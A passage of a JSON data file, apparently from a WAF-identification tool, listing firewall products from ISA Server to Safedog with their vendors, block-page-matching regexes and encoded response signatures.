\"cdd1:RVZXum60OEhCWapAYKcPk4JzWOpohM4IiUcMr2RWg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXomtLaK99n+i7c4RmkgI2FZnxtTtBeq+c36A5chW1XaTC\"\n            ]\n        },\n        \"isaserver\": {\n            \"company\": \"Microsoft\",\n            \"name\": \"ISA Server\",\n            \"regex\": \"The (ISA Server|server) denied the specified Uniform Resource Locator \\\\(URL\\\\)\",\n            \"signatures\": []\n        },\n        \"ithemes\": {\n            \"company\": \"iThemes\",\n            \"name\": \"iThemes Security\",\n            \"regex\": \"\",\n            \"signatures\": [\n                \"c70f:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMr2RWg1uQJLX3uhZOnthtOj+hXrAA16FcPhJOdLoXomtKaK59nui7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTC\",\n                \"71ee:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMr2RWg1qQJLX2uhZOnthtOj+hXrAA16FcPhJOdLoXomtKaK59nui7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTC\"\n            ],\n            \"note\": \"Formerly Better WP Security\"\n        },\n        \"janusec\": {\n            \"company\": \"Janusec\",\n            \"name\": \"Janusec Application Gateway\",\n            \"regex\": \"Reason:.+by Janusec Application Gateway\",\n            \"signatures\": [\n                \"5c5d:RVZXum60OEhCWapAYKYPkoJyWOpohM4JiUcMr2RWg1uQJbX2uhdOnthtOj+hX7AB16FcPhJPdLsXo2tLaK99n+i6c4RmkgI2FZjxtDtAeq6c3qA4chW1XaTC\"\n            ]\n        },\n        \"jiasule\": {\n            \"company\": \"Jiasule\",\n            \"name\": \"Jiasule\",\n            \"regex\": \"Server: jiasule-WAF|notice-jiasule|static\\\\.jiasule\\\\.com/static/js/http_error\\\\.js\",\n            \"signatures\": [\n                \"7520:RVZXum61OElCWapAYKYPk4JzWOpohM4IiUYMr2RXg1uQJbX2uhdOn9htOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkgI2FZjxtDtBeq+c36A5chW1XaTD\",\n                \"001e:RVZXum61OElCWapAYKYPkoJzWOpohM4IiUYMr2RXg1uQJbX2uhdOn9htOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkgI3FZjxtTtAeq+c36A5chW1XaTC\",\n                \"665d:RVZXum61OElCWapAYKYPkoJzWOpohM4IiUYMr2RXg1uQJbX2uhdOn9htOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkgI2FZjxtDtAeq+c3qA5chS1XaTC\",\n                \"4fed:RVZXum61OElCWapAYKYPkoJzWOpohM4IiUYMr2RXg1uQJbX2uhdOn9htOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4RmkgI2FZjxtDtAeq+c3qA5chW1XaTC\"\n            ]\n        },\n        \"knownsec\": {\n            \"company\": \"Knownsec\",\n            \"name\": \"KS-WAF\",\n            \"regex\": \"url\\\\('/ks-waf-error\\\\.png'\\\\)\",\n            \"signatures\": []\n        },\n        \"kona\": {\n            \"company\": \"Akamai Technologies\",\n            \"name\": \"Kona Site Defender\",\n            \"regex\": \"(?s)Server: AkamaiGHost.+?You don't have permission to access|\\\\b18\\\\.[0-9a-f]{8}.1[0-9]{9}\\\\.[0-9a-f]{7}\\\\b\",\n            \"signatures\": [\n                \"b996:RVZXum60OEhCWapAYKYPkoJzWOtohM4JiUcMr2RXg1uQJLX3uhdOn9htOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTC\",\n                \"1893:RVZXum60OEhCWapAYKYPk4JzWOtohM4JiUcMr2RXg1uQJLX3uhZOnthsOj6hXrAA16BcPhJOdLoXo2tKaK99n+i6c4RmkwI2FZjxtDtAeq+c3qA4chS1XKTC\",\n                \"165b:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRWg1qQJLX2uhZOnthsOj6hXrAA16BcPhJOdLoXomtKaK59nui6c4RmkgI2FZjxtDtAeq+c36A4chS1XaTC\",\n                \"12b3:RVZXum60OEhCWKpAYKYPkoJzWOpohM4IiUYMr2RXg1uQJLX3uhdOn9htOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTC\",\n                \"3426:RVZXum60OEhCWapAYKYPk4JzWOtohM4JiUcMr2RXg1uQJLX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tKaK99n+i6c4RmkgI2FZjxtDtAeq+c36A4chS1XaTC\",\n                \"e197:RVZXum60OEhCWKpAYKYPkoJzWOtohM4JiUcMr2RXg1uQJLX3uhZOnthsOj6hXrAA16BcPhJOdLoXo2tKaK99n+i6c4RmkgI2FZjxtDtAeq+c36A4chS1XaTC\",\n                \"eb57:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRWg1qQJLX2uhdOn9htOj+hX7AB16FcPxJPdLsXomtKaK59nui6c4RmkgI2FZjxtDtAeq6c36A4chS1XaTC\",\n                \"94ed:RVZXum60OEhCWapAYKYPkoJzWOpohM4JiUcMr2RXg1uQJLX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTC\",\n                \"5ca8:RVZXum60OEhCWKpAYKYPkoJzWOtohM4IiUYMr2RXg1uQJLX3uhdOn9htOj+hX7AB16FcPxJPdLsXomtKaK99n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTC\",\n                \"cc5b:RVZXum60OEhCWKpAYKYPkoJzWOtohM4IiUYMr2RXg1uQJLX3uhdOn9htOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTC\",\n                \"e7d9:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMr2RWg1uQJLX3uhdOnthtOj+hX7AB16FcPxJPdLoXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTC\",\n                \"bd78:RVZXum60OEhCWKpAYKYPk4JzWOtohM4JiUcMr2RXg1uQJLX3uhdOn9htOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTC\",\n                \"6cbc:RVZXum60OEhCWKpAYKYPkoJzWOpohM4JiUcMr2RXg1uQJLX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c36A5chW1XaTD\",\n                \"a40d:RVZXum60OEhCWKpAYKYPkoJzWOpohM4JiUcMr2RXg1uQJLX3uhdOn9htOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTC\",\n                \"1f03:RVZXum60OEhCWapBYKYPk4JzWOpohM4JiUcMr2RXg1uQJLX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c36A5chW1XaTD\",\n                \"e120:RVZXum60OEhCWKpAYKYPkoJzWOpohM4IiUYMr2RXg1uQJLX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTC\",\n                \"7ae5:RVZXum60OEhCWKpAYKYPkoJzWOtohM4JiUcMr2RXg1uQJLX3uhdOn9htOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTC\",\n                \"6bf2:RVZXum60OEhCWapAYKYPkoJzWOtohM4JiUcMr2RXg1uQJbX3uhdOn9htOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTC\",\n                \"1db3:RVZXum60OEhCWKpAYKYPkoJzWOpohM4JiUcMr2RXg1uQJLX3uhdOn9htOj+hX7AB16FcPxJPdLsXo2tKaK99n+i6c4RmkgI2FZjxtDtAeq+c36A4chS1XaTC\",\n                \"fcbb:RVZXum60OEhCWapAYKYPkoJzWOtohM4IiUYMr2RXg1uQJLX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTC\",\n                \"d1b6:RVZXum60OEhCWKpAYKYPkoJzWOpohM4IiUYMr2RXg1uQJLX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTD\",\n                \"8b30:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRWg1qQJLX2uhZOnthsOj6hXrAA16BcPhJOdLoXomtKaK59nui7c4RmkgI2FZjxtDtAeq+c3qA4chW1XaTD\",\n                \"8db8:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMr2RXg1uQJLX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTD\",\n                \"8900:RVZXum60OEhCWapAYKYPkoJzWOtohM4JiUcMr2RXg1uQJLX3uhdOn9htOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTD\",\n                \"677e:RVZXum60OEhCWapAYKYPkoJzWOpohM4JiUcMr2RXg1uQJLX3uhdOn9htOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTC\",\n                \"a13a:RVZXum60OEhCWKpAYKYPkoJzWOtohM4JiUcMr2RXg1uQJLX3uhdOnthtOj+hXrAB16FcPxJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTC\",\n                \"579e:RVZXum60OEhCWKpAYKYPkoJzWOpohM4JiUcMr2RXg1uQJLX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTC\",\n                \"82b4:RVZXum60OEhCWapAYKYPkoJzWOtohM4JiUcMr2RXg1uQJLX3uhdOn9htOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c36A5chW1XaTD\",\n                \"22e4:RVZXum60OEhCWapAYKYPkoJzWOtohM4JiUcMr2RXg1uQJLX3uhZOnthsOj6hXrAA16BcPhJOdLoXo2tKaK99n+i6c4RmkgI2FZjxtDtAeq+c36A4chS1XaTC\",\n                \"bd0e:RVZXum60OEhCWapAYKYPk4JzWOtohM4JiUcMr2RXg1uQJLX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTD\",\n                \"8976:RVZXum60OEhCWKpAYKYPkoJzWOtohM4JiUcMr2RXg1uQJLX3uhdOnthtOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTC\",\n                \"e34c:RVZXum60OEhCWapAYKYPkoJyWOpohM4IiUYMr2RWg1qQJLX2uhdOn9htOj+hX7AB16FcPxJPdLsXomtKaK59nui6c4RmkgI2FZjxtDtAeq+c3qA4chS1XKTC\"\n            ]\n        },\n        \"kuipernet\": {\n            \"company\": \"ASTSoft\",\n            \"name\": \"Kuipernet\",\n            \"regex\": \"(?s)Content-Length: 118214.+W5M0MpCehiHzreSzNTczkc9d\",\n            \"signatures\": []\n        },\n        \"malcare\": {\n            \"company\": \"Inactiv\",\n            \"name\": \"MalCare\",\n            \"regex\": \"Blocked because of Malicious Activities|Firewall(<[^>]+>)*powered by(<[^>]+>)*MalCare\",\n            \"signatures\": [\n                \"def2:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRWg1qQJLX2uhdOnthtOj+hXrAB16FcPxJPdLsXomtKaK59nui7c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC\"\n            ]\n        },\n        \"modsecurity\": {\n            \"company\": \"Trustwave\",\n            \"name\": \"ModSecurity\",\n            \"regex\": \"(?i)Server:.+mod_security|This error was generated by Mod_Security|/modsecurity\\\\-errorpage/|One or more things in your request were suspicious|rules of the mod_security module|mod_security rules triggered|Protected by Mod Security|HTTP Error 40\\\\d\\\\.0 - ModSecurity Action|40\\\\d ModSecurity Action|ModSecurity IIS \\\\(\\\\d+bits\\\\)</td>\",\n            \"signatures\": [\n                \"46d5:RVZXum60OEhCWapAYKYPkoJyWOpohM4JiUcMr2RXg1uQJLX2uhdOnthtOj+hX7AB16FcPhJPdLsXomtKaK59n+i6c4RmkgI2FZjxtDtAeq6c36A4chW1XaTD\",\n                \"1ece:RVZXum61OEhCWapBYKcPk4JzWOpohc4JiUcMr2RXg1uQJbX3uhdOn9htOj+hX7AB16FcPhJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq6c36A4chW1XaTD\",\n                \"69c6:RVZXum60OEhCWapAYKYPkoJyWOpohM4JiUcMr2RXg1uQJLX2uhdOnthsOj+hX7AB16FcPhJPdLsXomtKaK59n+i6c4RmkgI2FZjxtDtAeq6c36A4chW1XaTD\",\n                \"28eb:RVZXum60OEhCWapAYKYPkoJyWOpohM4IiUYMr2RWg1uQJLX2uhZOnthtOj+hXrAB16FcPhJOdLoXomtKaK59n+i6c4RmkgI2FZjxtDtAeq6c3qA4chS1XaTC\",\n                \"3918:RVZXum60OEhCWapAYKYPk4JyWOpohM4JiUcMr2RXg1uQJbX3uhdOnthtOj+hX7AB16FcPhJPdLsXomtKaK99n+i6c4RmkgI2FZjxtDtAeq6c36A4chW1XaTD\",\n                \"511d:RVZXum60OEhCWapAYKYPkoJyWOpohM4JiUcMr2RXg1uQJLX2uhdOnthtOj+hX7AB16FcPhJPdLoXomtKaK59n+i6c4RmkgI2FZjxtDtAeq6c36A4chW1XaTD\",\n                \"f694:RVZXum60OEhCWapAYKYPkoJyWOpohM4JiUcMr2RXg1uQJLX2uhZOnthtOj+hX7AB16FcPhJPdLsXomtKaK59n+i6c4RmkgI2FZjxtDtAeq6c36A4chW1XaTD\",\n                \"51ca:RVZXum60OEhCWapAYKYPkoJyWOpohM4JiUcMr2RXg1uQJLX2uhdOnthtOj+hX7AB16FcPhJOdLsXomtKaK59n+i6c4RmkgI2FZjxtDtAeq6c36A4chW1XaTD\",\n                \"e18b:RVZXum60OEhCWapAYKYPkoJyWOpohM4JiUcMr2RXg1uQJLX2uhZOnthtOj+hX7AB16FcPhJOdLsXomtKaK59n+i6c4RmkgI2FZjxtDtAeq6c36A4chW1XaTD\",\n                \"6e99:RVZXum60OEhCWapAYKYPkoJyWOpohM4JiUcMr2RXg1uQJLX2uhdOnthtOj+hXrAB16FcPhJPdLsXomtKaK59n+i6c4RmkgI2FZjxtDtAeq6c36A4chW1XaTD\",\n                \"dd72:RVZXum60OEhCWapAYKYPkoJyWOpohM4JiUcMr2RXg1uQJLX2uhdOnthtOj+hX7AB16FcPxJPdLsXomtKaK59n+i7c4RmkgI2FZjxtDtAeq6c36A4chW1XaTD\",\n                \"f53e:RVZXum60OEhCWapAYKYPkoJyWOpohM4JiUcMr2RXg1uQJLX2uhdOnthtOj+hXrAB16FcPxJPdLsXomtKaK59n+i7c4RmkgI2FZjxtDtAeq6c36A4chW1XaTD\",\n                \"e15c:RVZXum60OEhCWapAYKYPkoJyWOpohM4JiUcMr2RXg1uQJLX2uhZOnthtOj+hX7AB16FcPhJPdLoXomtKaK59n+i6c4RmkgI2FZjxtDtAeq6c36A4chW1XaTD\",\n                \"ded8:RVZXum60OEhCWapAYKYPkoJyWOpohM4JiUcMr2RXg1uQJLX2uhZOnthtOj+hXrAB16FcPhJPdLsXomtKaK59n+i6c4RmkgI2FZjxtDtAeq6c36A4chW1XaTD\",\n                \"6e99:RVZXum60OEhCWapAYKYPkoJyWOpohM4JiUcMr2RXg1uQJLX2uhdOnthtOj+hXrAB16FcPhJPdLsXomtKaK59n+i6c4RmkgI2FZjxtDtAeq6c36A4chW1XaTD\",\n                \"7986:RVZXum60OEhCWapAYKYPkoJyWOpohM4JiUcMr2RXg1uQJLX2uhdOnthtOj+hXrAB16FcPhJOdLsXomtKaK59n+i6c4RmkgI2FZjxtDtAeq6c36A4chW1XaTD\",\n                \"02b2:RVZXum60OEhCWapAYKYPkoJyWOpohM4JiUcMr2RXg1uQJLX2uhdOnthtOj+hX7AB16FcPxJPdLsXomtKaK59n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTD\",\n                \"4602:RVZXum60OEhCWapAYKYPkoJyWOpohM4JiUcMr2RXg1uQJLX2uhdOnthtOj+hX7AB16FcPhJOdLoXomtKaK59n+i6c4RmkgI2FZjxtDtAeq6c36A4chW1XaTD\",\n                \"b1a2:RVZXum60OEhCWapAYKYPkoJyWOpohM4JiUcMr2RXg1uQJLX3uhdOnthtOj+hX7AB16FcPxJPdLsXomtKaK59n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTD\",\n                \"5e9a:RVZXum60OEhCWapAYKYPk4JyWOpohM4JiUcMr2RXg1uQJbX3uhdOnthtOj+hXrAB16FcPhJPdLsXomtKaK99n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTD\",\n                \"35c4:RVZXum60OEhCWapAYKYPkoJyWOpohM4JiUcMr2RXg1uQJLX2uhdOnthtOj+hX7AB16FcPhJPdLsXomtKaK59n+i6c4RmkgI2FZjxtDtAeq6c36A4chS1XKTC\",\n                \"c697:RVZXum60OEhCWapAYKYPk4JyWOpohM4JiUcMr2RXg1uQJbX3uhZOnthtOj+hX7AB16FcPhJPdLsXomtKaK99n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTD\",\n                \"85e3:RVZXum60OElCWapAYKYPkoJyWOpohM4JiUcMr2RXg1uQJLX2uhdOnthtOj+hX7AB16FcPhJPdLoXomtKaK59n+i6c4RmkgI2FZjxtDtAeq6c36A4chW1XaTD\",\n                \"7d7f:RVZXum60OEhCWapAYKYPk4JyWOpohM4JiUcMr2RXg1uQJbX3uhdOnthtOj+hX7AB16FcPxJPdLsXomtKaK99n+i7c4RmkgI2FZjxtDtAeq+c36A4chW1XaTD\",\n                \"064b:RVZXum60OEhCWapAYKYPk4JyWOpohM4JiUcMr2RXg1uQJbX3uhdOnthtOj+hXrAB16FcPhJOdLsXomtKaK99n+i6c4RmkgI2FZjxtDtAeq6c36A4chW1XaTD\",\n                \"5659:RVZXum60OEhCWapAYKYPkoJyWOpohM4JiUYMr2RXg1uQJbX2uhdOnthtOj+hX7AB16FcPhJPdLsXomtKaK59n+i7c4RmkgI2FZjxtDtAeq6c36A4chW1XaTD\",\n                \"94b1:RVZXum60OEhCWapAYKYPkoJyWOpohM4JiUcMr2RXg1uQJbX2uhdOnthtOj+hX7AB16FcPhJPdLsXomtKaK59n+i6c4RmkgI2FZjxtDtAeq6c36A4chW1XaTD\",\n                \"7951:RVZXum60OEhCWapAYKYPkoJyWOpohM4JiUcMr2RXg1uQJLX2uhdOnthtOj+hXrAB16FcPhJPdLoXomtKaK59n+i6c4RmkgI2FZjxtDtAeq6c36A4chW1XaTD\",\n                \"b83a:RVZXum60OEhCWKpAYKYPkoJyWOpohM4JiUYMrmRWg1qQJbX2uhdOnthtOj+hX7AB16FcPhJPdLsXomtKaK59nui7c4RmkgI2FZjxtDtAeq6c3qA4chW1XaTD\",\n                \"4191:RVZXum60OEhCWapAYKYPkoJyWOpohM4JiUYMr2RXg1uQJbX2uhdOnthtOj+hX7AB16FcPhJPdLoXomtKaK59n+i7c4RmkgI2FZjxtDtAeq6c36A4chW1XaTD\"\n            ]\n        },\n        \"naxsi\": {\n            \"company\": \"NBS System\",\n            \"name\": \"NAXSI\",\n            \"regex\": \"(?i)Blocked By NAXSI|Naxsi Blocked Information|naxsi/waf\",\n            \"signatures\": [\n                \"19ee:RVdXum61OElCWKpAYKYPk4JzWOtohM4JiUcMr2RXg1uQJbX3uhdOn9htOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4VmkwI3FZnxtDtBeq+c36A4chW1XaTC\"\n            ]\n        },\n        \"netscaler\": {\n            \"company\": \"Citrix\",\n            \"name\": \"NetScaler AppFirewall\",\n            \"regex\": \"<title>Application Firewall Block Page</title>|Violation Category: APPFW_|AppFW Session ID|Access has been blocked - if you feel this is in error, please contact the site administrators quoting the following\",\n            \"signatures\": [\n                \"9c6c:RVdXum60OEhCWKpAYKYPkoJzWOpohM4JiUcMrmRWg1qQJbX3uhdOn9hsOj6hXrAA16BcPhJOdLsXo2tKaK99n+i6c4RmkgI2FZnxtDtAeq6c3qA4chS1XKTC\"\n            ]\n        },\n        \"newdefend\": {\n            \"company\": \"Newdefend\",\n            \"name\": \"Newdefend\",\n            \"regex\": \"Server: NewDefend|/nd_block/\",\n            \"signatures\": [\n                \"1ba1:RVZXu261OElCWapBYKYPk4JzWOpohM4JiUcMr2RXg1uQJLX3uhdOnthsOj+hX7AB16FcPxJPdLoXo2tKaK99n+i7c4RmkwI3FZjxtDtAeq+c36A4chW1XaTD\"\n            ]\n        },\n        \"nexusguard\": {\n            \"company\": \"Nexusguard Limited\",\n            \"name\": \"Nexusguard\",\n            \"regex\": \"speresources\\\\.nexusguard\\\\.com/wafpage/[^>]*#\\\\d{3};|<p>Powered by Nexusguard</p>\",\n            \"signatures\": [\n                \"869d:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRWg1qQJLX2uhdOn9htOj+hX7AB16FcPxJPdLsXomtKaK59nui7c4RmkgI2FZjxtDtAeq+c36A5chW1XaTC\"\n            ]\n        },\n        \"ninjafirewall\": {\n            \"company\": \"NinTechNet\",\n            \"name\": \"NinjaFirewall\",\n            \"regex\": \"<title>NinjaFirewall: 403 Forbidden|For security reasons?, it was blocked and logged\",\n            \"signatures\": [\n                \"2c12:RVZXum60OEhCWapBYKYPkoJzWOtohM4JiUcMr2RXg1uQJLX3uhdOn9hsOj+hX7AB16FcPxJPdLsXo2tKaK99n+i7c4RmkgI2FZjxtDtBeq+c3qA4chW1XaTC\"\n            ]\n        },\n        \"onmessageshield\": {\n            \"company\": \"Blackbaud\",\n            \"name\": \"onMessage Shield\",\n            \"regex\": \"This site is protected by an enhanced security system to ensure a safe browsing experience|onMessage SHIELD\",\n            \"signatures\": [\n                \"125a:RVdXum61OElCWKpAYKYPk4JzWOtohM4JiUcMr2RXg1uQJbX3uhdOn9htOj+hX7AB16FcPxJPdLsXo2tLaK99n+i7c4VmkwI3FZnxtDtBeq+c36A5chW1XaTC\"\n            ]\n        },\n        \"openrasp\": {\n            \"company\": \"Blackbaud\",\n            \"name\": \"OpenRASP\",\n            \"regex\": \"400 - Request blocked by OpenRASP|https://rasp.baidu.com/blocked2?/\",\n            \"signatures\": []\n        },\n        \"paloalto\": {\n            \"company\": \"Palo Alto Networks\",\n            \"name\": \"Palo Alto\",\n            \"regex\": \"has been blocked in accordance with company policy|Palo Alto Next Generation Security Platform\",\n            \"signatures\": [\n                \"862a:RVZXum60OEhCWapAYKYPkoJyWOpohM4IiUYMr2RWg1uQJLX3uhZOnthsOj+hXrAA16BcPhJPdLoXomtKaK59n+i6c4RmkgI2FZjxtDtAeq6c3qA4chW1XKTC\",\n                \"5fe6:RVZXum60OEhCWapAYKYPkoJyWOpohM4IiUYMrmRWg1uQJLX2uhZOnthsOj+hXrAA16BcPhJPdLoXomtKaK59n+i6c4RmkgI2FZjxtDtAeq6c3qA4chW1XKTC\",\n                \"cffd:RVZXum60OEhCWapAYKYPkoJyWOpohM4IiUYMr2RWg1uQJLX3uhZOnthsOj+hXrAA16BcPhJPdLoXo2tKaK99n+i6c4RmkgI2FZjxtDtAeq6c3qA4chW1XKTC\",\n                \"1427:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRWg1qQJLX2uhZOnthtOj+hXrAA16FcPhJPdLoXomtKaK59nui6c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC\",\n                \"fa37:RVZXum60OEhCWapAYKYPkoJyWOpohM4IiUYMr2RWg1uQJLX3uhZOnthsOj6hXrAA16BcPhJOdLoXo2tKaK99n+i6c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC\",\n                \"9135:RVZXum60OEhCWapAYKYPkoJyWOpohM4IiUYMr2RWg1uQJLX3uhZOnthsOj+hXrAA16BcPhJOdLoXomtKaK59n+i6c4RmkgI2FZjxtDtAeq6c3qA4chW1XKTC\",\n                \"953a:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRWg1qQJLX2uhZOnthsOj+hXrAA16BcPhJOdLoXomtKaK59nui6c4RmkgI2FZjxtDtAeq6c3qA4chW1XKTC\"\n            ]\n        },\n        \"perimeterx\": {\n            \"company\": \"PerimeterX\",\n            \"name\": \"PerimeterX\",\n            \"regex\": \"https://www.perimeterx.com/whywasiblocked\",\n            \"signatures\": []\n        },\n        \"profense\": {\n            \"company\": \"ArmorLogic\",\n            \"name\": \"Profense\",\n            \"regex\": \"Server: Profense\",\n            \"signatures\": [\n                \"eaee:RVZXum60OEhCWapAYKYPkoJyWOtohM4JiUcMr2RWg1uQJbX3uhdOnthsOj+hXrAB16FcPxJOdLsXo2tLaK99n+i6c4VmkwI3FZjxtDtAeq6c3qA4chS1XaTC\"\n            ]\n        },\n        \"radware\": {\n            \"company\": \"Radware\",\n            \"name\": \"AppWall\",\n            \"regex\": \"Unauthorized Request Blocked|You are seeing this page because we have detected unauthorized activity|mailto:CloudWebSec@radware\\\\.com\",\n            \"signatures\": [\n                \"e68e:RVdXu261OEhCWapBYKcPk4JzWOpohM4JiUcMr2RXg1uQJbX3uhdOn9htOj+hXrAB16FcPxJPdLsXo2tKaK99n+i7c4VmkwI3FZnxtDtAeq+c36A5chW1XaTD\",\n                \"48fa:RVdXu260OEhCWapBYKcPkoJzWOpohM4JiUYMrmRXg1uQJbX3uhdOn9hsOj+hX7AA16BcPxJOdLsXomtKaK59n+i6c4RmkgI2FZnxtDtAeq6c3qA5chW1XaTD\",\n                \"8fc4:RVdXu261OEhCWapBYKcPk4JzWOpohM4JiUcMr2RXg1uQJbX3uhdOn9htOj+hXrAB16FcPxJPdLsXo2tKaK99n+i7c4RmkgI3FZnxtDtAeq+c36A5chW1XaTD\"\n            ]\n        },\n        \"reblaze\": {\n            \"company\": \"Reblaze\",\n            \"name\": \"Reblaze\",\n            \"regex\": \"For further information, do not hesitate to contact us\",\n            \"signatures\": [\n                \"86fb:RVZXum61OElCWKpAYKcPkoJzWOtohM4JiUcMr2RXg1uQJbX3uhdOnthsOj6hXrAB16BcPhJPdLoXo2tLaK99n+i7c4RmkgI2FZjxtDtBeq+c36A5chW1XaTD\"\n            ]\n        },\n        \"requestvalidationmode\": {\n            \"company\": \"Microsoft\",\n            \"name\": \"ASP.NET RequestValidationMode\",\n            \"regex\": \"HttpRequestValidationException|Request Validation has detected a potentially dangerous client input value|ASP\\\\.NET has detected data in the request that is potentially dangerous\",\n            \"signatures\": [\n                \"7ecd:RVdXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRWg1qQJLX2uhdOn9htOj+hXrAA16FcPxJOdLsXomtKaK59nui7c4RmkgI2FZjxtDtAeq+c3qA4chS1XKTC\",\n                \"919b:RVdXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRWg1qQJLX2uhdOn9htOj+hXrAA16FcPxJOdLsXomtKaK59nui7c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTD\",\n                \"14fa:RVdXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRWg1qQJLX2uhdOn9htOj+hXrAA16FcPxJOdLsXomtKaK59nui7c4RmkgI2FZjxtDtAeq+c3qA4chS1XaTC\",\n                \"a10d:RVdXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRWg1qQJLX2uhdOn9htOj+hXrAA16FcPxJOdLsXomtKaK59nui7c4RmkgI2FZjxtDtAeq6c3qA4chS1XKTC\",\n                \"7564:RVdXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRWg1qQJLX2uhdOn9htOj+hXrAA16FcPhJOdLsXomtKaK59nui7c4RmkgI2FZjxtDtAeq+c3qA4chS1XKTC\"\n            ]\n        },\n        \"rsfirewall\": {\n            \"company\": \"RSJoomla!\",\n            \"name\": \"RSFirewall\",\n            \"regex\": \"COM_RSFIREWALL_\",\n            \"signatures\": [\n                \"d829:RVZXum60OEhCWKpAYKYPkoJyWOpohM4IiUYMrmRWg1uQJLX2uhZOnthsOj6hXrAA16BcPhJOdLoXomtKaK59nui6c4RmkgI2FZjxtDtAeq6c3qA4chS1XaTC\"\n            ]\n        },\n        \"safe3\": {\n            \"company\": \"Safe3\",\n            \"name\": \"Safe3\",\n            \"regex\": \"Server: Safe3 Web Firewall|Safe3waf/\",\n            \"signatures\": [\n                \"1b84:RVZXum60OEhCWKpAYKYPk4JyWOpohM4IiUYMr2RWg1uQJbX2uhdOnthtOj+hX7AB16FcPhJPdLsXomtKaK59nui7c4RmkgI2FZjxtDtAeq+c3qA4chW1XaTC\"\n            ]\n        },\n        \"safedog\": {\n            \"company\": \"Safedog\",\n            \"name\": \"Safedog\",\n            \"regex\": \"Server: Safedog|safedogsite/broswer_logo\\\\.jpg|404\\\\.safedog\\\\.cn/sitedog_stat\\\\.html|404\\\\.safedog\\\\.cn/images/safedogsite/head\\\\.png\",\n            \"signatures\": [\n                \"0ee1:RVdXu261OEhCWapBYKcPk4JzWOpohM4JiUcMr2RXg1uQJbX3uhdOn9htOj+hX7AA16FcPhJOdLoXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c3qA4chW1XaTD\",\n                \"28a0:RVZXu261OEhCWapBYKcPk4JzWOpohM4IiUcMr2RXg1uQJbX3uhdOnthsOj+hX7AA16FcPhJOdLoXo2tKaK99n+i7c4RmkgI2FZjxtDtAeq+c3qA4chS1XKTC\",\n                